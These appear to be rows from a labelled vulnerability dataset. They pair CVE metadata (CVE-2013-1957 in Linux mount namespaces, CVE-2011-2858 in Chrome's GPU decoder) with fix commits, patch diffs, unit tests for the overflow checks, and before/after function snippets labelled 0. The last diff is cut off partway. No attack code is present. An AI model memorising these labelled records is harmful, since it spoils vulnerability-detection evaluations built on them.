+348,11 @@ TestRenderFrame::TakeLastCommitParams() {\n return mock_frame_host_->TakeLastCommitParams();\n }\n \n+void TestRenderFrame::SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback) {\n+ mock_frame_host_->SetDidAddMessageToConsoleCallback(std::move(callback));\n+}\n+\n service_manager::mojom::InterfaceProviderRequest\n TestRenderFrame::TakeLastInterfaceProviderRequest() {\n return mock_frame_host_->TakeLastInterfaceProviderRequest();"}<_**next**_>{"sha": "7d719b24a9a6129485a09cbd2a9b6e3c68493b95", "filename": "content/test/test_render_frame.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_frame.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -68,6 +68,11 @@ class TestRenderFrame : public RenderFrameImpl {\n std::unique_ptr<FrameHostMsg_DidCommitProvisionalLoad_Params>\n TakeLastCommitParams();\n \n+ // Sets a callback to be run the next time DidAddMessageToConsole\n+ // is called (e.g. window.console.log() is called).\n+ void SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback);\n+\n service_manager::mojom::InterfaceProviderRequest\n TakeLastInterfaceProviderRequest();\n "}<_**next**_>{"sha": "e27564fc7676757363d8d4035d81fdc5e5a1f196", "filename": "third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -44,7 +44,7 @@ bool NavigationRateLimiter::CanProceed() {\n }\n \n // Display an error message. Do it only once in a while, else it will flood\n- // the browser process with the FrameHostMsg_DidAddMessageToConsole IPC.\n+ // the browser process with the DidAddMessageToConsole Mojo call.\n if (!error_message_sent_) {\n error_message_sent_ = true;\n if (auto* local_frame = DynamicTo<LocalFrame>(frame_.Get())) {"}
|
void RenderFrameHostImpl::CreateWebUsbService(
blink::mojom::WebUsbServiceRequest request) {
GetContentClient()->browser()->CreateWebUsbService(this, std::move(request));
}
|
void RenderFrameHostImpl::CreateWebUsbService(
blink::mojom::WebUsbServiceRequest request) {
GetContentClient()->browser()->CreateWebUsbService(this, std::move(request));
}
|
C
| null | null | null |
@@ -1375,8 +1375,6 @@ bool RenderFrameHostImpl::OnMessageReceived(const IPC::Message &msg) {
handled = true;
IPC_BEGIN_MESSAGE_MAP(RenderFrameHostImpl, msg)
- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,
- OnDidAddMessageToConsole)
IPC_MESSAGE_HANDLER(FrameHostMsg_Detach, OnDetach)
IPC_MESSAGE_HANDLER(FrameHostMsg_FrameFocused, OnFrameFocused)
IPC_MESSAGE_HANDLER(FrameHostMsg_DidFailProvisionalLoadWithError,
@@ -1833,21 +1831,35 @@ void RenderFrameHostImpl::OnAudibleStateChanged(bool is_audible) {
is_audible_ = is_audible;
}
-void RenderFrameHostImpl::OnDidAddMessageToConsole(
- int32_t level,
+void RenderFrameHostImpl::DidAddMessageToConsole(
+ blink::mojom::ConsoleMessageLevel log_level,
const base::string16& message,
int32_t line_no,
const base::string16& source_id) {
- if (level < logging::LOG_VERBOSE || level > logging::LOG_FATAL) {
- bad_message::ReceivedBadMessage(
- GetProcess(), bad_message::RFH_DID_ADD_CONSOLE_MESSAGE_BAD_SEVERITY);
- return;
+ // TODO(https://crbug.com/786836): Update downstream code to use
+ // ConsoleMessageLevel everywhere to avoid this conversion.
+ logging::LogSeverity log_severity = logging::LOG_VERBOSE;
+ switch (log_level) {
+ case blink::mojom::ConsoleMessageLevel::kVerbose:
+ log_severity = logging::LOG_VERBOSE;
+ break;
+ case blink::mojom::ConsoleMessageLevel::kInfo:
+ log_severity = logging::LOG_INFO;
+ break;
+ case blink::mojom::ConsoleMessageLevel::kWarning:
+ log_severity = logging::LOG_WARNING;
+ break;
+ case blink::mojom::ConsoleMessageLevel::kError:
+ log_severity = logging::LOG_ERROR;
+ break;
}
- if (delegate_->DidAddMessageToConsole(level, message, line_no, source_id))
+ if (delegate_->DidAddMessageToConsole(log_severity, message, line_no,
+ source_id)) {
return;
+ }
- // Pass through log level only on builtin components pages to limit console
+ // Pass through log severity only on builtin components pages to limit console
// spew.
const bool is_builtin_component =
HasWebUIScheme(delegate_->GetMainFrameLastCommittedURL()) ||
@@ -1856,7 +1868,7 @@ void RenderFrameHostImpl::OnDidAddMessageToConsole(
const bool is_off_the_record =
GetSiteInstance()->GetBrowserContext()->IsOffTheRecord();
- LogConsoleMessage(level, message, line_no, is_builtin_component,
+ LogConsoleMessage(log_severity, message, line_no, is_builtin_component,
is_off_the_record, source_id);
}
|
Chrome
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
c246049ec1b28d1af4fe3be886ac5904e1762026
| 0
|
void RenderFrameHostImpl::CreateWebUsbService(
blink::mojom::WebUsbServiceRequest request) {
GetContentClient()->browser()->CreateWebUsbService(this, std::move(request));
}
|
32,418
| null |
Local
|
Not required
| null |
CVE-2013-1957
|
https://www.cvedetails.com/cve/CVE-2013-1957/
|
CWE-264
|
Medium
|
Complete
| null | null |
2013-04-24
| 4.7
|
The clone_mnt function in fs/namespace.c in the Linux kernel before 3.8.6 does not properly restrict changes to the MNT_READONLY flag, which allows local users to bypass an intended read-only property of a filesystem by leveraging a separate mount namespace.
|
2013-04-25
|
Bypass
| 0
|
https://github.com/torvalds/linux/commit/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9
|
132c94e31b8bca8ea921f9f96a57d684fa4ae0a9
|
vfs: Carefully propogate mounts across user namespaces
As a matter of policy MNT_READONLY should not be changable if the
original mounter had more privileges than creator of the mount
namespace.
Add the flag CL_UNPRIVILEGED to note when we are copying a mount from
a mount namespace that requires more privileges to a mount namespace
that requires fewer privileges.
When the CL_UNPRIVILEGED flag is set cause clone_mnt to set MNT_NO_REMOUNT
if any of the mnt flags that should never be changed are set.
This protects both mount propagation and the initial creation of a less
privileged mount namespace.
Cc: stable@vger.kernel.org
Acked-by: Serge Hallyn <serge.hallyn@canonical.com>
Reported-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
| 0
|
fs/namespace.c
|
{"sha": "968d4c5eae03aa18b1326e09371aa5ada795939e", "filename": "fs/namespace.c", "status": "modified", "additions": 5, "deletions": 1, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9/fs/namespace.c", "raw_url": "https://github.com/torvalds/linux/raw/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9/fs/namespace.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/namespace.c?ref=132c94e31b8bca8ea921f9f96a57d684fa4ae0a9", "patch": "@@ -798,6 +798,10 @@ static struct mount *clone_mnt(struct mount *old, struct dentry *root,\n \t}\n \n \tmnt->mnt.mnt_flags = old->mnt.mnt_flags & ~MNT_WRITE_HOLD;\n+\t/* Don't allow unprivileged users to change mount flags */\n+\tif ((flag & CL_UNPRIVILEGED) && (mnt->mnt.mnt_flags & MNT_READONLY))\n+\t\tmnt->mnt.mnt_flags |= MNT_LOCK_READONLY;\n+\n \tatomic_inc(&sb->s_active);\n \tmnt->mnt.mnt_sb = sb;\n \tmnt->mnt.mnt_root = dget(root);\n@@ -2342,7 +2346,7 @@ static struct mnt_namespace *dup_mnt_ns(struct mnt_namespace *mnt_ns,\n \t/* First pass: copy the tree topology */\n \tcopy_flags = CL_COPY_ALL | CL_EXPIRE;\n \tif (user_ns != mnt_ns->user_ns)\n-\t\tcopy_flags |= CL_SHARED_TO_SLAVE;\n+\t\tcopy_flags |= CL_SHARED_TO_SLAVE | CL_UNPRIVILEGED;\n \tnew = copy_tree(old, old->mnt.mnt_root, copy_flags);\n \tif (IS_ERR(new)) {\n \t\tup_write(&namespace_sem);"}<_**next**_>{"sha": "8b29d2164da6aef6edb88b9872368c849e658530", "filename": "fs/pnode.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9/fs/pnode.c", "raw_url": "https://github.com/torvalds/linux/raw/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9/fs/pnode.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/pnode.c?ref=132c94e31b8bca8ea921f9f96a57d684fa4ae0a9", "patch": "@@ -9,6 +9,7 @@\n #include <linux/mnt_namespace.h>\n #include <linux/mount.h>\n #include <linux/fs.h>\n+#include <linux/nsproxy.h>\n #include \"internal.h\"\n #include \"pnode.h\"\n \n@@ -220,6 +221,7 @@ static struct mount *get_source(struct mount *dest,\n int propagate_mnt(struct mount *dest_mnt, struct dentry *dest_dentry,\n \t\t struct mount *source_mnt, struct list_head *tree_list)\n {\n+\tstruct user_namespace *user_ns = current->nsproxy->mnt_ns->user_ns;\n \tstruct mount *m, *child;\n \tint ret = 0;\n \tstruct mount *prev_dest_mnt = dest_mnt;\n@@ -237,6 +239,10 @@ int propagate_mnt(struct mount *dest_mnt, struct dentry *dest_dentry,\n \n \t\tsource = get_source(m, prev_dest_mnt, prev_src_mnt, &type);\n \n+\t\t/* Notice when we are propagating across user namespaces */\n+\t\tif (m->mnt_ns->user_ns != user_ns)\n+\t\t\ttype |= CL_UNPRIVILEGED;\n+\n \t\tchild = copy_tree(source, source->mnt.mnt_root, type);\n \t\tif (IS_ERR(child)) {\n \t\t\tret = PTR_ERR(child);"}<_**next**_>{"sha": "a0493d5ebfbf52be2eb07a794df459ab2a32cd6a", "filename": "fs/pnode.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9/fs/pnode.h", "raw_url": "https://github.com/torvalds/linux/raw/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9/fs/pnode.h", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/pnode.h?ref=132c94e31b8bca8ea921f9f96a57d684fa4ae0a9", "patch": "@@ -23,6 +23,7 @@\n #define CL_MAKE_SHARED \t\t0x08\n #define CL_PRIVATE \t\t0x10\n #define CL_SHARED_TO_SLAVE\t0x20\n+#define CL_UNPRIVILEGED\t\t0x40\n \n static inline void set_mnt_shared(struct mount *mnt)\n {"}
|
static struct mount *skip_mnt_tree(struct mount *p)
{
struct list_head *prev = p->mnt_mounts.prev;
while (prev != &p->mnt_mounts) {
p = list_entry(prev, struct mount, mnt_child);
prev = p->mnt_mounts.prev;
}
return p;
}
|
static struct mount *skip_mnt_tree(struct mount *p)
{
struct list_head *prev = p->mnt_mounts.prev;
while (prev != &p->mnt_mounts) {
p = list_entry(prev, struct mount, mnt_child);
prev = p->mnt_mounts.prev;
}
return p;
}
|
C
| null | null | null |
@@ -798,6 +798,10 @@ static struct mount *clone_mnt(struct mount *old, struct dentry *root,
}
mnt->mnt.mnt_flags = old->mnt.mnt_flags & ~MNT_WRITE_HOLD;
+ /* Don't allow unprivileged users to change mount flags */
+ if ((flag & CL_UNPRIVILEGED) && (mnt->mnt.mnt_flags & MNT_READONLY))
+ mnt->mnt.mnt_flags |= MNT_LOCK_READONLY;
+
atomic_inc(&sb->s_active);
mnt->mnt.mnt_sb = sb;
mnt->mnt.mnt_root = dget(root);
@@ -2342,7 +2346,7 @@ static struct mnt_namespace *dup_mnt_ns(struct mnt_namespace *mnt_ns,
/* First pass: copy the tree topology */
copy_flags = CL_COPY_ALL | CL_EXPIRE;
if (user_ns != mnt_ns->user_ns)
- copy_flags |= CL_SHARED_TO_SLAVE;
+ copy_flags |= CL_SHARED_TO_SLAVE | CL_UNPRIVILEGED;
new = copy_tree(old, old->mnt.mnt_root, copy_flags);
if (IS_ERR(new)) {
up_write(&namespace_sem);
|
linux
|
132c94e31b8bca8ea921f9f96a57d684fa4ae0a9
|
90563b198e4c6674c63672fae1923da467215f45
| 0
|
static struct mount *skip_mnt_tree(struct mount *p)
{
struct list_head *prev = p->mnt_mounts.prev;
while (prev != &p->mnt_mounts) {
p = list_entry(prev, struct mount, mnt_child);
prev = p->mnt_mounts.prev;
}
return p;
}
|
104,229
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-2858
|
https://www.cvedetails.com/cve/CVE-2011-2858/
|
CWE-119
|
Low
| null | null | null |
2011-09-19
| 5
|
Google Chrome before 14.0.835.163 does not properly handle triangle arrays, which allows remote attackers to cause a denial of service (out-of-bounds read) via unspecified vectors.
|
2017-09-18
|
DoS Overflow
| 0
|
https://github.com/chromium/chromium/commit/c13e1da62b5f5f0e6fe8c1f769a5a28415415244
|
c13e1da62b5f5f0e6fe8c1f769a5a28415415244
|
Revert "Revert 100494 - Fix bug in SimulateAttrib0."""
TEST=none
BUG=95625
TBR=apatrick@chromium.org
Review URL: http://codereview.chromium.org/7796016
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@100507 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
gpu/command_buffer/service/gles2_cmd_decoder_unittest.cc
|
{"sha": "10e2a4432c27e5fc6a4a5d1011e8970638198e4d", "filename": "gpu/command_buffer/service/gles2_cmd_decoder.cc", "status": "modified", "additions": 61, "deletions": 24, "changes": 85, "blob_url": "https://github.com/chromium/chromium/blob/c13e1da62b5f5f0e6fe8c1f769a5a28415415244/gpu/command_buffer/service/gles2_cmd_decoder.cc", "raw_url": "https://github.com/chromium/chromium/raw/c13e1da62b5f5f0e6fe8c1f769a5a28415415244/gpu/command_buffer/service/gles2_cmd_decoder.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_decoder.cc?ref=c13e1da62b5f5f0e6fe8c1f769a5a28415415244", "patch": "@@ -1064,8 +1064,9 @@ class GLES2DecoderImpl : public base::SupportsWeakPtr<GLES2DecoderImpl>,\n // Checks if the current program and vertex attributes are valid for drawing.\n bool IsDrawValid(GLuint max_vertex_accessed);\n \n- // Returns true if attrib0 was simulated.\n- bool SimulateAttrib0(GLuint max_vertex_accessed);\n+ // Returns true if successful, simulated will be true if attrib0 was\n+ // simulated.\n+ bool SimulateAttrib0(GLuint max_vertex_accessed, bool* simulated);\n void RestoreStateForSimulatedAttrib0();\n \n // Returns true if textures were set.\n@@ -4262,30 +4263,48 @@ bool GLES2DecoderImpl::IsDrawValid(GLuint max_vertex_accessed) {\n return true;\n }\n \n-bool GLES2DecoderImpl::SimulateAttrib0(GLuint max_vertex_accessed) {\n+bool GLES2DecoderImpl::SimulateAttrib0(\n+ GLuint max_vertex_accessed, bool* simulated) {\n+ DCHECK(simulated);\n+ *simulated = false;\n+\n if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2)\n- return false;\n+ return true;\n \n const VertexAttribManager::VertexAttribInfo* info =\n vertex_attrib_manager_.GetVertexAttribInfo(0);\n // If it's enabled or it's not used then we don't need to do anything.\n bool attrib_0_used = current_program_->GetAttribInfoByLocation(0) != NULL;\n if (info->enabled() && attrib_0_used) {\n- return false;\n+ return true;\n }\n \n+ // Make a buffer with a single repeated vec4 value enough to\n+ // simulate the constant value that is supposed to be here.\n+ // This is required to emulate GLES2 on GL.\n typedef VertexAttribManager::VertexAttribInfo::Vec4 Vec4;\n \n+ GLuint num_vertices = max_vertex_accessed + 1;\n+ GLuint size_needed = 0;\n+\n+ if (num_vertices == 0 ||\n+ !SafeMultiply(num_vertices, static_cast<GLuint>(sizeof(Vec4)),\n+ &size_needed) ||\n+ size_needed > 0x7FFFFFFFU) {\n+ SetGLError(GL_OUT_OF_MEMORY, \"glDrawXXX: Simulating attrib 0\");\n+ return false;\n+ }\n+\n+ CopyRealGLErrorsToWrapper();\n glBindBuffer(GL_ARRAY_BUFFER, attrib_0_buffer_id_);\n \n- // Make a buffer with a single repeated vec4 value enough to\n- // simulate the constant value that is supposed to be here.\n- // This is required to emulate GLES2 on GL.\n- GLsizei num_vertices = max_vertex_accessed + 1;\n- GLsizei size_needed = num_vertices * sizeof(Vec4); // NOLINT\n- if (size_needed > attrib_0_size_) {\n+ if (static_cast<GLsizei>(size_needed) > attrib_0_size_) {\n glBufferData(GL_ARRAY_BUFFER, size_needed, NULL, GL_DYNAMIC_DRAW);\n- // TODO(gman): check for error here?\n+ GLenum error = glGetError();\n+ if (error != GL_NO_ERROR) {\n+ SetGLError(GL_OUT_OF_MEMORY, \"glDrawXXX: Simulating attrib 0\");\n+ return false;\n+ }\n attrib_0_buffer_matches_value_ = false;\n }\n if (attrib_0_used &&\n@@ -4303,6 +4322,7 @@ bool GLES2DecoderImpl::SimulateAttrib0(GLuint max_vertex_accessed) {\n \n glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL);\n \n+ *simulated = true;\n return true;\n }\n \n@@ -4337,8 +4357,13 @@ bool GLES2DecoderImpl::SimulateFixedAttribs(\n // tests so we just add to the buffer attrib used.\n \n // Compute the number of elements needed.\n- int num_vertices = max_vertex_accessed + 1;\n- int elements_needed = 0;\n+ GLuint num_vertices = max_vertex_accessed + 1;\n+ if (num_vertices == 0) {\n+ SetGLError(GL_OUT_OF_MEMORY, \"glDrawXXX: Simulating attrib 0\");\n+ return false;\n+ }\n+\n+ GLuint elements_needed = 0;\n const VertexAttribManager::VertexAttribInfoList& infos =\n vertex_attrib_manager_.GetEnabledVertexAttribInfos();\n for (VertexAttribManager::VertexAttribInfoList::const_iterator it =\n@@ -4349,28 +4374,34 @@ bool GLES2DecoderImpl::SimulateFixedAttribs(\n if (attrib_info &&\n info->CanAccess(max_vertex_accessed) &&\n info->type() == GL_FIXED) {\n- int elements_used = 0;\n- if (!SafeMultiply(\n- static_cast<int>(num_vertices),\n- info->size(), &elements_used) ||\n+ GLuint elements_used = 0;\n+ if (!SafeMultiply(num_vertices,\n+ static_cast<GLuint>(info->size()), &elements_used) ||\n !SafeAdd(elements_needed, elements_used, &elements_needed)) {\n SetGLError(GL_OUT_OF_MEMORY, \"glDrawXXX: simulating GL_FIXED attribs\");\n return false;\n }\n }\n }\n \n- const int kSizeOfFloat = sizeof(float); // NOLINT\n- int size_needed = 0;\n- if (!SafeMultiply(elements_needed, kSizeOfFloat, &size_needed)) {\n+ const GLuint kSizeOfFloat = sizeof(float); // NOLINT\n+ GLuint size_needed = 0;\n+ if (!SafeMultiply(elements_needed, kSizeOfFloat, &size_needed) ||\n+ size_needed > 0x7FFFFFFFU) {\n SetGLError(GL_OUT_OF_MEMORY, \"glDrawXXX: simulating GL_FIXED attribs\");\n return false;\n }\n \n+ CopyRealGLErrorsToWrapper();\n \n glBindBuffer(GL_ARRAY_BUFFER, fixed_attrib_buffer_id_);\n- if (size_needed > fixed_attrib_buffer_size_) {\n+ if (static_cast<GLsizei>(size_needed) > fixed_attrib_buffer_size_) {\n glBufferData(GL_ARRAY_BUFFER, size_needed, NULL, GL_DYNAMIC_DRAW);\n+ GLenum error = glGetError();\n+ if (error != GL_NO_ERROR) {\n+ SetGLError(GL_OUT_OF_MEMORY, \"glDrawXXX: simulating GL_FIXED attribs\");\n+ return false;\n+ }\n }\n \n // Copy the elements and convert to float\n@@ -4440,7 +4471,10 @@ error::Error GLES2DecoderImpl::HandleDrawArrays(\n \n GLuint max_vertex_accessed = first + count - 1;\n if (IsDrawValid(max_vertex_accessed)) {\n- bool simulated_attrib_0 = SimulateAttrib0(max_vertex_accessed);\n+ bool simulated_attrib_0 = false;\n+ if (!SimulateAttrib0(max_vertex_accessed, &simulated_attrib_0)) {\n+ return error::kNoError;\n+ }\n bool simulated_fixed_attribs = false;\n if (SimulateFixedAttribs(max_vertex_accessed, &simulated_fixed_attribs)) {\n bool textures_set = SetBlackTextureForNonRenderableTextures();\n@@ -4511,7 +4545,10 @@ error::Error GLES2DecoderImpl::HandleDrawElements(\n }\n \n if (IsDrawValid(max_vertex_accessed)) {\n- bool simulated_attrib_0 = SimulateAttrib0(max_vertex_accessed);\n+ bool simulated_attrib_0 = false;\n+ if (!SimulateAttrib0(max_vertex_accessed, &simulated_attrib_0)) {\n+ return error::kNoError;\n+ }\n bool simulated_fixed_attribs = false;\n if (SimulateFixedAttribs(max_vertex_accessed, &simulated_fixed_attribs)) {\n bool textures_set = SetBlackTextureForNonRenderableTextures();"}<_**next**_>{"sha": "c2c9e6bbc3465dcbbd31f5776128edbe5ab497b3", "filename": "gpu/command_buffer/service/gles2_cmd_decoder_unittest.cc", "status": "modified", "additions": 76, "deletions": 18, "changes": 94, "blob_url": "https://github.com/chromium/chromium/blob/c13e1da62b5f5f0e6fe8c1f769a5a28415415244/gpu/command_buffer/service/gles2_cmd_decoder_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/c13e1da62b5f5f0e6fe8c1f769a5a28415415244/gpu/command_buffer/service/gles2_cmd_decoder_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_decoder_unittest.cc?ref=c13e1da62b5f5f0e6fe8c1f769a5a28415415244", "patch": "@@ -55,8 +55,17 @@ class GLES2DecoderWithShaderTest : public GLES2DecoderWithShaderTestBase {\n : GLES2DecoderWithShaderTestBase() {\n }\n \n- void AddExpectationsForSimulatedAttrib0(\n- GLsizei num_vertices, GLuint buffer_id) {\n+\n+ void AddExpectationsForSimulatedAttrib0WithError(\n+ GLsizei num_vertices, GLuint buffer_id, GLenum error) {\n+ if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2) {\n+ return;\n+ }\n+\n+ EXPECT_CALL(*gl_, GetError())\n+ .WillOnce(Return(GL_NO_ERROR))\n+ .WillOnce(Return(error))\n+ .RetiresOnSaturation();\n EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, kServiceAttrib0BufferId))\n .Times(1)\n .RetiresOnSaturation();\n@@ -65,22 +74,30 @@ class GLES2DecoderWithShaderTest : public GLES2DecoderWithShaderTestBase {\n _, GL_DYNAMIC_DRAW))\n .Times(1)\n .RetiresOnSaturation();\n- EXPECT_CALL(*gl_, BufferSubData(\n- GL_ARRAY_BUFFER, 0, num_vertices * sizeof(GLfloat) * 4, _))\n- .Times(1)\n- .RetiresOnSaturation();\n- EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))\n- .Times(1)\n- .RetiresOnSaturation();\n- EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, 0))\n- .Times(1)\n- .RetiresOnSaturation();\n- EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))\n- .Times(1)\n- .RetiresOnSaturation();\n- EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, buffer_id))\n- .Times(1)\n- .RetiresOnSaturation();\n+ if (error == GL_NO_ERROR) {\n+ EXPECT_CALL(*gl_, BufferSubData(\n+ GL_ARRAY_BUFFER, 0, num_vertices * sizeof(GLfloat) * 4, _))\n+ .Times(1)\n+ .RetiresOnSaturation();\n+ EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))\n+ .Times(1)\n+ .RetiresOnSaturation();\n+ EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, 0))\n+ .Times(1)\n+ .RetiresOnSaturation();\n+ EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))\n+ .Times(1)\n+ .RetiresOnSaturation();\n+ EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, buffer_id))\n+ .Times(1)\n+ .RetiresOnSaturation();\n+ }\n+ }\n+\n+ void AddExpectationsForSimulatedAttrib0(\n+ GLsizei num_vertices, GLuint buffer_id) {\n+ AddExpectationsForSimulatedAttrib0WithError(\n+ num_vertices, buffer_id, GL_NO_ERROR);\n }\n };\n \n@@ -125,6 +142,47 @@ TEST_F(GLES2DecoderWithShaderTest, DrawArraysNoAttributesSucceeds) {\n EXPECT_EQ(GL_NO_ERROR, GetGLError());\n }\n \n+// Tests when the math overflows (0x40000000 * sizeof GLfloat)\n+TEST_F(GLES2DecoderWithShaderTest, DrawArraysSimulatedAttrib0OverflowFails) {\n+ const GLsizei kLargeCount = 0x40000000;\n+ SetupTexture();\n+ EXPECT_CALL(*gl_, DrawArrays(_, _, _))\n+ .Times(0)\n+ .RetiresOnSaturation();\n+ DrawArrays cmd;\n+ cmd.Init(GL_TRIANGLES, 0, kLargeCount);\n+ EXPECT_EQ(error::kNoError, ExecuteCmd(cmd));\n+ EXPECT_EQ(GL_OUT_OF_MEMORY, GetGLError());\n+}\n+\n+// Tests when the math overflows (0x7FFFFFFF + 1 = 0x8000000 verts)\n+TEST_F(GLES2DecoderWithShaderTest, DrawArraysSimulatedAttrib0PosToNegFails) {\n+ const GLsizei kLargeCount = 0x7FFFFFFF;\n+ SetupTexture();\n+ EXPECT_CALL(*gl_, DrawArrays(_, _, _))\n+ .Times(0)\n+ .RetiresOnSaturation();\n+ DrawArrays cmd;\n+ cmd.Init(GL_TRIANGLES, 0, kLargeCount);\n+ EXPECT_EQ(error::kNoError, ExecuteCmd(cmd));\n+ EXPECT_EQ(GL_OUT_OF_MEMORY, GetGLError());\n+}\n+\n+// Tests when the driver returns an error\n+TEST_F(GLES2DecoderWithShaderTest, DrawArraysSimulatedAttrib0OOMFails) {\n+ const GLsizei kFakeLargeCount = 0x1234;\n+ SetupTexture();\n+ AddExpectationsForSimulatedAttrib0WithError(\n+ kFakeLargeCount, 0, GL_OUT_OF_MEMORY);\n+ EXPECT_CALL(*gl_, DrawArrays(_, _, _))\n+ .Times(0)\n+ .RetiresOnSaturation();\n+ DrawArrays cmd;\n+ cmd.Init(GL_TRIANGLES, 0, kFakeLargeCount);\n+ EXPECT_EQ(error::kNoError, ExecuteCmd(cmd));\n+ EXPECT_EQ(GL_OUT_OF_MEMORY, GetGLError());\n+}\n+\n TEST_F(GLES2DecoderWithShaderTest, DrawArraysBadTextureUsesBlack) {\n DoBindTexture(GL_TEXTURE_2D, client_texture_id_, kServiceTextureId);\n // This is an NPOT texture. As the default filtering requires mips"}
|
ReadPixelsEmulator(GLsizei width, GLsizei height, GLint bytes_per_pixel,
const void* src_pixels, const void* expected_pixels,
GLint pack_alignment)
: width_(width),
height_(height),
pack_alignment_(pack_alignment),
bytes_per_pixel_(bytes_per_pixel),
src_pixels_(reinterpret_cast<const int8*>(src_pixels)),
expected_pixels_(reinterpret_cast<const int8*>(expected_pixels)) {
}
|
ReadPixelsEmulator(GLsizei width, GLsizei height, GLint bytes_per_pixel,
const void* src_pixels, const void* expected_pixels,
GLint pack_alignment)
: width_(width),
height_(height),
pack_alignment_(pack_alignment),
bytes_per_pixel_(bytes_per_pixel),
src_pixels_(reinterpret_cast<const int8*>(src_pixels)),
expected_pixels_(reinterpret_cast<const int8*>(expected_pixels)) {
}
|
C
| null | null | null |
@@ -55,8 +55,17 @@ class GLES2DecoderWithShaderTest : public GLES2DecoderWithShaderTestBase {
: GLES2DecoderWithShaderTestBase() {
}
- void AddExpectationsForSimulatedAttrib0(
- GLsizei num_vertices, GLuint buffer_id) {
+
+ void AddExpectationsForSimulatedAttrib0WithError(
+ GLsizei num_vertices, GLuint buffer_id, GLenum error) {
+ if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2) {
+ return;
+ }
+
+ EXPECT_CALL(*gl_, GetError())
+ .WillOnce(Return(GL_NO_ERROR))
+ .WillOnce(Return(error))
+ .RetiresOnSaturation();
EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, kServiceAttrib0BufferId))
.Times(1)
.RetiresOnSaturation();
@@ -65,22 +74,30 @@ class GLES2DecoderWithShaderTest : public GLES2DecoderWithShaderTestBase {
_, GL_DYNAMIC_DRAW))
.Times(1)
.RetiresOnSaturation();
- EXPECT_CALL(*gl_, BufferSubData(
- GL_ARRAY_BUFFER, 0, num_vertices * sizeof(GLfloat) * 4, _))
- .Times(1)
- .RetiresOnSaturation();
- EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))
- .Times(1)
- .RetiresOnSaturation();
- EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, 0))
- .Times(1)
- .RetiresOnSaturation();
- EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))
- .Times(1)
- .RetiresOnSaturation();
- EXPECT_CALL(*gl_, BindBuffer(GL_ARRAY_BUFFER, buffer_id))
- .Times(1)
- .RetiresOnSaturation();
+ if (error == GL_NO_ERROR) {
+ EXPECT_CALL(*gl_, BufferSubData(
+ GL_ARRAY_BUFFER, 0, num_vertices * sizeof(GLfloat) * 4, _))
+ .Times(1)
+ .RetiresOnSaturation();
+ EXPECT_CALL(*gl_, VertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, NULL))
+ .Times(1)
